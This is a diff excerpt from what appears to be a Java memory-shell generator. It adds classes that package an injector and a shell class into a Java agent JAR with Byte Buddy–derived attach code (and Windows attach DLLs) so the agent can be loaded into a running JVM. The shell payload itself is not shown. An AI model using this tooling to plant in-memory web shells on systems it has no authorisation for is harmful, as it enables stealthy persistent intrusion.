while (entries.hasMoreElements()) {
|
||||||
JarEntry entry = entries.nextElement();
|
JarEntry entry = entries.nextElement();
|
||||||
String entryName = entry.getName();
|
String entryName = entry.getName();
|
||||||
if (entryName.startsWith(packageToMove)) {
|
if (entryName.equals("META-INF/MANIFEST.MF")
|
||||||
InputStream entryStream = sourceJar.getInputStream(entry);
|
|| entryName.contains("module-info.class")) {
|
||||||
byte[] bytes = IOUtils.toByteArray(entryStream);
|
continue;
|
||||||
if (entryName.endsWith(".class")) {
|
}
|
||||||
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
|
if (!entry.isDirectory()) {
|
||||||
if (bytes.length > 0) {
|
try (InputStream entryStream = sourceJar.getInputStream(entry)) {
|
||||||
bytes = ClassRenameUtils.relocateClass(bytes, packageToMove, relocatePrefix + packageToMove);
|
byte[] bytes = IOUtils.toByteArray(entryStream);
|
||||||
|
if (StringUtils.isNoneEmpty(relocatePrefix)) {
|
||||||
|
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
|
||||||
|
if (entryName.endsWith(".class")) {
|
||||||
|
if (bytes.length > 0) {
|
||||||
|
bytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName), true);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
targetJar.putNextEntry(entry);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
targetJar.putNextEntry(entry);
|
||||||
|
}
|
||||||
|
targetJar.write(bytes);
|
||||||
}
|
}
|
||||||
} else {
|
|
||||||
targetJar.putNextEntry(entry);
|
|
||||||
}
|
}
|
||||||
targetJar.write(bytes);
|
|
||||||
targetJar.closeEntry();
|
targetJar.closeEntry();
|
||||||
entryStream.close();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
sourceJar.close();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
|
|||||||
+190
@@ -0,0 +1,190 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.jar;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
|
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.attach.Attacher;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.attach.VirtualMachine;
|
||||||
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.io.IOUtils;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.objectweb.asm.Opcodes;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.FileOutputStream;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.nio.file.Files;
|
||||||
|
import java.nio.file.Path;
|
||||||
|
import java.util.Enumeration;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.jar.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/1/1
|
||||||
|
*/
|
||||||
|
public class AgentJarWithJDKAttacherPacker implements JarPacker {
|
||||||
|
private static Path tempBootPath;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public byte[] packBytes(GenerateResult generateResult) {
|
||||||
|
String packageName = CommonUtil.getPackageName(generateResult.getInjectorClassName());
|
||||||
|
String mainClassName = packageName + "." + Attacher.class.getSimpleName();
|
||||||
|
Manifest manifest = createManifest(generateResult.getInjectorClassName(), mainClassName);
|
||||||
|
String relocatePrefix = "shade/";
|
||||||
|
|
||||||
|
Map<String, byte[]> classes = new HashMap<>();
|
||||||
|
Map<String, byte[]> attacherClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(Attacher.class, packageName);
|
||||||
|
Map<String, byte[]> virtualMachineClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(VirtualMachine.class, packageName);
|
||||||
|
classes.putAll(attacherClasses);
|
||||||
|
classes.putAll(virtualMachineClasses);
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
|
||||||
|
addDependencies(targetJar, relocatePrefix);
|
||||||
|
addClassesToJar(targetJar, generateResult, relocatePrefix);
|
||||||
|
for (Map.Entry<String, byte[]> entry : classes.entrySet()) {
|
||||||
|
String className = entry.getKey();
|
||||||
|
byte[] bytes = entry.getValue();
|
||||||
|
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||||
|
targetJar.write(ClassBytesShrink.shrink(bytes, true));
|
||||||
|
targetJar.closeEntry();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return outputStream.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
private Manifest createManifest(String agentClass, String mainClass) {
|
||||||
|
Manifest manifest = new Manifest();
|
||||||
|
Attributes attributes = manifest.getMainAttributes();
|
||||||
|
attributes.putValue("Manifest-Version", "1.0");
|
||||||
|
attributes.putValue("Agent-Class", agentClass);
|
||||||
|
attributes.putValue("Premain-Class", agentClass);
|
||||||
|
attributes.putValue("Main-Class", mainClass);
|
||||||
|
attributes.putValue("Can-Redefine-Classes", "true");
|
||||||
|
attributes.putValue("Can-Retransform-Classes", "true");
|
||||||
|
return manifest;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
|
||||||
|
String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
|
||||||
|
addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, String relocatePrefix) {
|
||||||
|
String dependencyPackage = Opcodes.class.getPackage().getName();
|
||||||
|
// Add injector class
|
||||||
|
addClassEntry(targetJar,
|
||||||
|
generateResult.getInjectorClassName(),
|
||||||
|
generateResult.getInjectorBytes(),
|
||||||
|
dependencyPackage,
|
||||||
|
relocatePrefix);
|
||||||
|
|
||||||
|
// Add shell class
|
||||||
|
addClassEntry(targetJar,
|
||||||
|
generateResult.getShellClassName(),
|
||||||
|
generateResult.getShellBytes(),
|
||||||
|
dependencyPackage,
|
||||||
|
relocatePrefix);
|
||||||
|
|
||||||
|
// Add inner classes
|
||||||
|
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
|
||||||
|
addClassEntry(targetJar,
|
||||||
|
entry.getKey(),
|
||||||
|
entry.getValue(),
|
||||||
|
dependencyPackage,
|
||||||
|
relocatePrefix);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
|
||||||
|
String dependencyPackage, String relocatePrefix) {
|
||||||
|
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||||
|
byte[] processedBytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage), true);
|
||||||
|
targetJar.write(processedBytes);
|
||||||
|
targetJar.closeEntry();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
|
||||||
|
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
|
||||||
|
String sourceUrlString = sourceUrl.toString();
|
||||||
|
if (sourceUrlString.contains("!BOOT-INF")) {
|
||||||
|
String path = sourceUrlString.substring("jar:nested:".length());
|
||||||
|
path = path.substring(0, path.indexOf("!/"));
|
||||||
|
String[] split = path.split("/!");
|
||||||
|
String bootJarPath = split[0];
|
||||||
|
String internalJarPath = split[1];
|
||||||
|
if (tempBootPath == null) {
|
||||||
|
tempBootPath = Files.createTempDirectory("mem-shell-boot");
|
||||||
|
unzip(bootJarPath, tempBootPath.toFile().getAbsolutePath());
|
||||||
|
}
|
||||||
|
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
|
||||||
|
}
|
||||||
|
try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
|
||||||
|
Enumeration<JarEntry> entries = sourceJar.entries();
|
||||||
|
while (entries.hasMoreElements()) {
|
||||||
|
JarEntry entry = entries.nextElement();
|
||||||
|
String entryName = entry.getName();
|
||||||
|
if (entryName.equals("META-INF/MANIFEST.MF")
|
||||||
|
|| entryName.contains("module-info.class")) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (!entry.isDirectory()) {
|
||||||
|
try (InputStream entryStream = sourceJar.getInputStream(entry)) {
|
||||||
|
byte[] bytes = IOUtils.toByteArray(entryStream);
|
||||||
|
if (StringUtils.isNoneEmpty(relocatePrefix)) {
|
||||||
|
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
|
||||||
|
if (entryName.endsWith(".class")) {
|
||||||
|
if (bytes.length > 0) {
|
||||||
|
bytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName), true);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
targetJar.putNextEntry(entry);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
targetJar.putNextEntry(entry);
|
||||||
|
}
|
||||||
|
targetJar.write(bytes);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
targetJar.closeEntry();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Extracts a JAR file to a temporary directory
|
||||||
|
*
|
||||||
|
* @param jarPath Path to the source JAR file
|
||||||
|
* @param tempPath Path to the temporary directory
|
||||||
|
*/
|
||||||
|
@SneakyThrows
|
||||||
|
public static void unzip(String jarPath, String tempPath) {
|
||||||
|
try (JarFile jarFile = new JarFile(jarPath)) {
|
||||||
|
Enumeration<JarEntry> entries = jarFile.entries();
|
||||||
|
while (entries.hasMoreElements()) {
|
||||||
|
JarEntry jarEntry = entries.nextElement();
|
||||||
|
File targetFile = new File(tempPath, jarEntry.getName());
|
||||||
|
|
||||||
|
if (jarEntry.isDirectory()) {
|
||||||
|
targetFile.mkdirs();
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
targetFile.getParentFile().mkdirs();
|
||||||
|
try (InputStream inputStream = jarFile.getInputStream(jarEntry);
|
||||||
|
FileOutputStream outputStream = new FileOutputStream(targetFile)) {
|
||||||
|
IOUtils.copy(inputStream, outputStream);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+210
@@ -0,0 +1,210 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.jar;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
|
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.attach.Attacher;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.attach.VirtualMachine;
|
||||||
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
|
import com.sun.jna.Platform;
|
||||||
|
import com.sun.jna.platform.DesktopWindow;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.io.IOUtils;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.objectweb.asm.Opcodes;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.FileOutputStream;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.nio.file.Files;
|
||||||
|
import java.nio.file.Path;
|
||||||
|
import java.util.Enumeration;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.jar.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/1/1
|
||||||
|
*/
|
||||||
|
public class AgentJarWithJREAttacherPacker implements JarPacker {
|
||||||
|
private static Path tempBootPath;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public byte[] packBytes(GenerateResult generateResult) {
|
||||||
|
String packageName = CommonUtil.getPackageName(generateResult.getInjectorClassName());
|
||||||
|
String mainClassName = packageName + "." + Attacher.class.getSimpleName();
|
||||||
|
Manifest manifest = createManifest(generateResult.getInjectorClassName(), mainClassName);
|
||||||
|
String relocatePrefix = "shade/";
|
||||||
|
|
||||||
|
Map<String, byte[]> classes = new HashMap<>();
|
||||||
|
Map<String, byte[]> attacherClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(Attacher.class, packageName);
|
||||||
|
Map<String, byte[]> virtualMachineClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(VirtualMachine.class, packageName);
|
||||||
|
classes.putAll(attacherClasses);
|
||||||
|
classes.putAll(virtualMachineClasses);
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
|
||||||
|
addDependencies(targetJar, relocatePrefix);
|
||||||
|
addClassesToJar(targetJar, generateResult, relocatePrefix);
|
||||||
|
for (Map.Entry<String, byte[]> entry : classes.entrySet()) {
|
||||||
|
String className = entry.getKey();
|
||||||
|
byte[] bytes = entry.getValue();
|
||||||
|
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||||
|
targetJar.write(ClassBytesShrink.shrink(bytes, true));
|
||||||
|
targetJar.closeEntry();
|
||||||
|
}
|
||||||
|
|
||||||
|
String[] windowsDll = new String[]{
|
||||||
|
"win32-x86/attach_hotspot_windows.dll",
|
||||||
|
"win32-x86-64/attach_hotspot_windows.dll"
|
||||||
|
};
|
||||||
|
for (String dll : windowsDll) {
|
||||||
|
InputStream stream = this.getClass().getClassLoader().getResourceAsStream(dll);
|
||||||
|
if (stream != null) {
|
||||||
|
byte[] bytes = IOUtils.toByteArray(stream);
|
||||||
|
targetJar.putNextEntry(new JarEntry(dll));
|
||||||
|
targetJar.write(bytes);
|
||||||
|
targetJar.closeEntry();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return outputStream.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
private Manifest createManifest(String agentClass, String mainClass) {
|
||||||
|
Manifest manifest = new Manifest();
|
||||||
|
Attributes attributes = manifest.getMainAttributes();
|
||||||
|
attributes.putValue("Manifest-Version", "1.0");
|
||||||
|
attributes.putValue("Agent-Class", agentClass);
|
||||||
|
attributes.putValue("Premain-Class", agentClass);
|
||||||
|
attributes.putValue("Main-Class", mainClass);
|
||||||
|
attributes.putValue("Can-Redefine-Classes", "true");
|
||||||
|
attributes.putValue("Can-Retransform-Classes", "true");
|
||||||
|
return manifest;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
|
||||||
|
String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
|
||||||
|
addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
|
||||||
|
|
||||||
|
String jnaBaseName = Platform.class.getPackage().getName().replace('.', '/');
|
||||||
|
addDependency(targetJar, Platform.class, jnaBaseName, null);
|
||||||
|
addDependency(targetJar, DesktopWindow.class, jnaBaseName, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, String relocatePrefix) {
|
||||||
|
String dependencyPackage = Opcodes.class.getPackage().getName();
|
||||||
|
// Add injector class
|
||||||
|
addClassEntry(targetJar,
|
||||||
|
generateResult.getInjectorClassName(),
|
||||||
|
generateResult.getInjectorBytes(),
|
||||||
|
dependencyPackage,
|
||||||
|
relocatePrefix);
|
||||||
|
|
||||||
|
// Add shell class
|
||||||
|
addClassEntry(targetJar,
|
||||||
|
generateResult.getShellClassName(),
|
||||||
|
generateResult.getShellBytes(),
|
||||||
|
dependencyPackage,
|
||||||
|
relocatePrefix);
|
||||||
|
|
||||||
|
// Add inner classes
|
||||||
|
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
|
||||||
|
addClassEntry(targetJar,
|
||||||
|
entry.getKey(),
|
||||||
|
entry.getValue(),
|
||||||
|
dependencyPackage,
|
||||||
|
relocatePrefix);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
|
||||||
|
String dependencyPackage, String relocatePrefix) {
|
||||||
|
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||||
|
byte[] processedBytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage), true);
|
||||||
|
targetJar.write(processedBytes);
|
||||||
|
targetJar.closeEntry();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
|
||||||
|
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
|
||||||
|
String sourceUrlString = sourceUrl.toString();
|
||||||
|
if (sourceUrlString.contains("!BOOT-INF")) {
|
||||||
|
String path = sourceUrlString.substring("jar:nested:".length());
|
||||||
|
path = path.substring(0, path.indexOf("!/"));
|
||||||
|
String[] split = path.split("/!");
|
||||||
|
String bootJarPath = split[0];
|
||||||
|
String internalJarPath = split[1];
|
||||||
|
if (tempBootPath == null) {
|
||||||
|
tempBootPath = Files.createTempDirectory("mem-shell-boot");
|
||||||
|
unzip(bootJarPath, tempBootPath.toFile().getAbsolutePath());
|
||||||
|
}
|
||||||
|
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
|
||||||
|
}
|
||||||
|
try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
|
||||||
|
Enumeration<JarEntry> entries = sourceJar.entries();
|
||||||
|
while (entries.hasMoreElements()) {
|
||||||
|
JarEntry entry = entries.nextElement();
|
||||||
|
String entryName = entry.getName();
|
||||||
|
if (entryName.startsWith("META-INF")
|
||||||
|
|| entryName.contains("module-info.class")) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (!entry.isDirectory()) {
|
||||||
|
try (InputStream entryStream = sourceJar.getInputStream(entry)) {
|
||||||
|
byte[] bytes = IOUtils.toByteArray(entryStream);
|
||||||
|
if (StringUtils.isNoneEmpty(relocatePrefix)) {
|
||||||
|
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
|
||||||
|
if (entryName.endsWith(".class")) {
|
||||||
|
if (bytes.length > 0) {
|
||||||
|
bytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName), true);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
targetJar.putNextEntry(entry);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
targetJar.putNextEntry(entry);
|
||||||
|
}
|
||||||
|
targetJar.write(bytes);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
targetJar.closeEntry();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Extracts a JAR file to a temporary directory
|
||||||
|
*
|
||||||
|
* @param jarPath Path to the source JAR file
|
||||||
|
* @param tempPath Path to the temporary directory
|
||||||
|
*/
|
||||||
|
@SneakyThrows
|
||||||
|
public static void unzip(String jarPath, String tempPath) {
|
||||||
|
try (JarFile jarFile = new JarFile(jarPath)) {
|
||||||
|
Enumeration<JarEntry> entries = jarFile.entries();
|
||||||
|
while (entries.hasMoreElements()) {
|
||||||
|
JarEntry jarEntry = entries.nextElement();
|
||||||
|
File targetFile = new File(tempPath, jarEntry.getName());
|
||||||
|
|
||||||
|
if (jarEntry.isDirectory()) {
|
||||||
|
targetFile.mkdirs();
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
targetFile.getParentFile().mkdirs();
|
||||||
|
try (InputStream inputStream = jarFile.getInputStream(jarEntry);
|
||||||
|
FileOutputStream outputStream = new FileOutputStream(targetFile)) {
|
||||||
|
IOUtils.copy(inputStream, outputStream);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+942
@@ -0,0 +1,942 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.jar.attach;/*
|
||||||
|
* Copyright 2014 - Present Rafael Winterhalter
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
* you may not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.net.MalformedURLException;
|
||||||
|
import java.net.URISyntaxException;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLClassLoader;
|
||||||
|
import java.security.CodeSource;
|
||||||
|
import java.security.PrivilegedAction;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.Collections;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
|
||||||
|
*/
|
||||||
|
public class Attacher {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Representation of the bootstrap {@link ClassLoader}.
|
||||||
|
*/
|
||||||
|
private static final ClassLoader BOOTSTRAP_CLASS_LOADER = null;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The character that is used to mark the beginning of the argument to the agent.
|
||||||
|
*/
|
||||||
|
private static final String AGENT_ARGUMENT_SEPARATOR = "=";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The agent provides only {@code static} utility methods and should not be instantiated.
|
||||||
|
*/
|
||||||
|
private Attacher() {
|
||||||
|
throw new UnsupportedOperationException("This class is a utility class and not supposed to be instantiated");
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(String[] args) throws Exception {
|
||||||
|
try {
|
||||||
|
Attacher.attach(args[0]);
|
||||||
|
} catch (Exception e) {
|
||||||
|
if (!e.getMessage().equals("0")) {
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
System.out.println("ok");
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>
|
||||||
|
* Attaches the given agent Jar on the target process which must be a virtual machine process. The default attachment provider
|
||||||
|
* is used for applying the attachment. This operation blocks until the attachment is complete. If the current VM does not supply
|
||||||
|
* any known form of attachment to a remote VM, an {@link IllegalStateException} is thrown. The agent is not provided an argument.
|
||||||
|
* </p>
|
||||||
|
* <p>
|
||||||
|
* <b>Important</b>: It is only possible to attach to processes that are executed by the same operating system user.
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @param agentJar The agent jar file.
|
||||||
|
* @param processId The target process id.
|
||||||
|
*/
|
||||||
|
public static void attach(File agentJar, String processId) {
|
||||||
|
attach(agentJar, processId, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void attach(String processId) {
|
||||||
|
attach(trySelfResolve(), processId, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>
|
||||||
|
* Attaches the given agent Jar on the target process which must be a virtual machine process. The default attachment provider
|
||||||
|
* is used for applying the attachment. This operation blocks until the attachment is complete. If the current VM does not supply
|
||||||
|
* any known form of attachment to a remote VM, an {@link IllegalStateException} is thrown.
|
||||||
|
* </p>
|
||||||
|
* <p>
|
||||||
|
* <b>Important</b>: It is only possible to attach to processes that are executed by the same operating system user.
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @param agentJar The agent jar file.
|
||||||
|
* @param processId The target process id.
|
||||||
|
* @param argument The argument to provide to the agent.
|
||||||
|
*/
|
||||||
|
public static void attach(File agentJar, String processId, String argument) {
|
||||||
|
install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Installs a Java agent on a target VM.
|
||||||
|
*
|
||||||
|
* @param processId The process id of the target JVM process.
|
||||||
|
* @param argument The argument to provide to the agent.
|
||||||
|
* @param agentProvider The agent provider for the agent jar or library.
|
||||||
|
*/
|
||||||
|
private static void install(String processId, String argument, AgentProvider agentProvider) {
|
||||||
|
AttachmentProvider.Accessor attachmentAccessor = AttachmentProvider.DEFAULT.attempt();
|
||||||
|
if (!attachmentAccessor.isAvailable()) {
|
||||||
|
throw new IllegalStateException("No compatible attachment provider is available");
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Class<?> virtualMachineType = attachmentAccessor.getVirtualMachineType();
|
||||||
|
String agent = agentProvider.resolve().getAbsolutePath();
|
||||||
|
Object virtualMachineInstance = virtualMachineType
|
||||||
|
.getMethod("attach", String.class)
|
||||||
|
.invoke(null, processId);
|
||||||
|
try {
|
||||||
|
virtualMachineType
|
||||||
|
.getMethod("loadAgent", String.class, String.class)
|
||||||
|
.invoke(virtualMachineInstance, agent, argument);
|
||||||
|
} finally {
|
||||||
|
virtualMachineType
|
||||||
|
.getMethod("detach")
|
||||||
|
.invoke(virtualMachineInstance);
|
||||||
|
}
|
||||||
|
} catch (RuntimeException exception) {
|
||||||
|
throw exception;
|
||||||
|
} catch (Exception exception) {
|
||||||
|
throw new IllegalStateException("Error during attachment using: " + AttachmentProvider.DEFAULT, exception);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Attempts to resolve the location of the {@link Attacher} class for a self-attachment. Doing so avoids the creation of a temporary jar file.
|
||||||
|
*
|
||||||
|
* @return The self-resolved jar file or {@code null} if the jar file cannot be located.
|
||||||
|
*/
|
||||||
|
private static File trySelfResolve() {
|
||||||
|
try {
|
||||||
|
ProtectionDomain protectionDomain = Attacher.class.getProtectionDomain();
|
||||||
|
if (protectionDomain == null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
CodeSource codeSource = protectionDomain.getCodeSource();
|
||||||
|
if (codeSource == null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
URL location = codeSource.getLocation();
|
||||||
|
if (!location.getProtocol().equals("file")) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
File file = new File(location.toURI());
|
||||||
|
if (file.getPath().contains(AGENT_ARGUMENT_SEPARATOR)) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
return file;
|
||||||
|
} catch (URISyntaxException ignored) {
|
||||||
|
return new File(location.getPath());
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider is responsible for making the Java attachment API available.
|
||||||
|
*/
|
||||||
|
public interface AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The default attachment provider to be used.
|
||||||
|
*/
|
||||||
|
AttachmentProvider DEFAULT = new Compound(ForModularizedVm.INSTANCE,
|
||||||
|
ForJ9Vm.INSTANCE,
|
||||||
|
ForStandardToolsJarVm.JVM_ROOT,
|
||||||
|
ForStandardToolsJarVm.JDK_ROOT,
|
||||||
|
ForStandardToolsJarVm.MACINTOSH,
|
||||||
|
ForUserDefinedToolsJar.INSTANCE,
|
||||||
|
ForEmulatedAttachment.INSTANCE);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Attempts the creation of an accessor for a specific JVM's attachment API.
|
||||||
|
*
|
||||||
|
* @return The accessor this attachment provider can supply for the currently running JVM.
|
||||||
|
*/
|
||||||
|
Accessor attempt();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An accessor for a JVM's attachment API.
|
||||||
|
*/
|
||||||
|
interface Accessor {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The name of the {@code VirtualMachine} class on any OpenJDK or Oracle JDK implementation.
|
||||||
|
*/
|
||||||
|
String VIRTUAL_MACHINE_TYPE_NAME = "com.sun.tools.attach.VirtualMachine";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The name of the {@code VirtualMachine} class on IBM J9 VMs.
|
||||||
|
*/
|
||||||
|
String VIRTUAL_MACHINE_TYPE_NAME_J9 = "com.ibm.tools.attach.VirtualMachine";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Determines if this accessor is applicable for the currently running JVM.
|
||||||
|
*
|
||||||
|
* @return {@code true} if this accessor is available.
|
||||||
|
*/
|
||||||
|
boolean isAvailable();
|
||||||
|
|
||||||
|
/**
|
||||||
|
